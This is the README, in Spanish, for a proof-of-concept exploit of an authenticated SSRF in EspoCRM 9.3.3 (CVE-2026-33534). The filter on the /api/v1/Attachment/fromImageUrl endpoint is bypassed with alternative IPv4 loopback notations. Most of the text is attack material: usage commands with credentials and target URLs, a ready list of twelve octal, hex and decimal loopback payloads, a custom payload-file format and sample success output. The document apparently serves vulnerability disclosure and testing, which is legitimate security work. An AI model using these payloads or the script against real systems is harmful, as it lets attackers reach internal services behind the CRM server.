
EspoCRM 9.3.3 - SSRF autenticado mediante notación alternativa de IPv4
Prueba de concepto de SSRF autenticado para EspoCRM 9.3.3 mediante notación alternativa de IPv4 loopback en el endpoint /api/v1/Attachment/fromImageUrl.
EspoCRM 9.3.3 bloquea URLs loopback directas como http://127.0.0.1/..., pero la ruta de obtención del lado del servidor acepta representaciones IPv4 alternativas que cURL normaliza a loopback. Esto permite que un usuario autenticado con acceso al flujo afectado de carga de archivos adjuntos/imágenes haga que el servidor EspoCRM obtenga recursos internos.
El exploit primero envía una solicitud de control directa a 127.0.0.1 y espera que sea bloqueada con HTTP 403. Luego prueba múltiples payloads loopback codificados e informa cuáles producen un archivo adjunto almacenado.
requestsInstalar dependencia:
python3 -m pip install requests
Validación local básica contra una instancia de EspoCRM ejecutándose en el puerto 8083:
python3 CVE-2026-33534.py \
-u http://127.0.0.1:8083 \
-U admin \
-P 'Admin12345!' \
--internal-port 8083 \
--cleanup
Probar un servicio interno en un puerto y ruta personalizados:
python3 CVE-2026-33534.py \
-u https://target.example \
-U user \
-P 'password' \
--internal-port 9002 \
--internal-path /interno.png \
--cleanup
Usar solo payloads personalizados:
python3 CVE-2026-33534.py \
-u https://target.example \
-U user \
-P 'password' \
--no-default-payloads \
--payload 0x7f000001 \
--payload 2130706433
El exploit prueba estas representaciones de host loopback de forma predeterminada:
0177.0.0.1
0177.0000.0000.0001
0177.1
0x7f.0.0.1
0x7f.0x0.0x0.0x1
0x7f000001
2130706433
017700000001
127.1
127.0.1
127.000.000.001
0000000000000000000000000177.0.0.1
Se admiten archivos de payloads personalizados. Cada línea puede ser:
host
label=host
Ejemplo:
hex-dword=0x7f000001
decimal-dword=2130706433
Ejecutar con:
python3 CVE-2026-33534.py -u https://target.example -U user -P pass --payload-file payloads.txt
-u, --url URL base de EspoCRM
-U, --username Nombre de usuario de EspoCRM
-P, --password Contraseña de EspoCRM
--internal-port Puerto loopback interno a obtener
--internal-path Ruta interna a obtener
--payload Notación de host loopback adicional
--payload-file Archivo con un payload de host por línea
--no-default-payloads Usar solo payloads personalizados
--field Campo de archivo adjunto, predeterminado: avatar
--parent-type Tipo de entidad principal, predeterminado: User
--parent-id ID de entidad principal opcional
--cleanup Eliminar archivos adjuntos creados por payloads exitosos
--stop-on-first Detenerse después del primer bypass exitoso
--insecure Deshabilitar verificación de certificado TLS
Una explotación exitosa muestra el control loopback directo bloqueado y uno o más payloads codificados aceptados:
[*] Control response: HTTP 403 Not allowed URL.
[+] octal dotted 0177.0.0.1 HTTP 200 id=... type=image/svg+xml size=4438
[+] hex dword 0x7f000001 HTTP 200 id=... type=image/svg+xml size=4438
[+] Vulnerable behavior confirmed.
[+] Direct loopback control: HTTP 403
[+] Successful payloads: 12
/client/img/logo-light.svg del propio listener loopback del objetivo. Ajuste --internal-port y --internal-path para otro servicio interno.User.avatar; use --field, --parent-type y --parent-id si la cuenta probada necesita un contexto de carga diferente.--cleanup durante las pruebas para eliminar automáticamente los archivos adjuntos creados.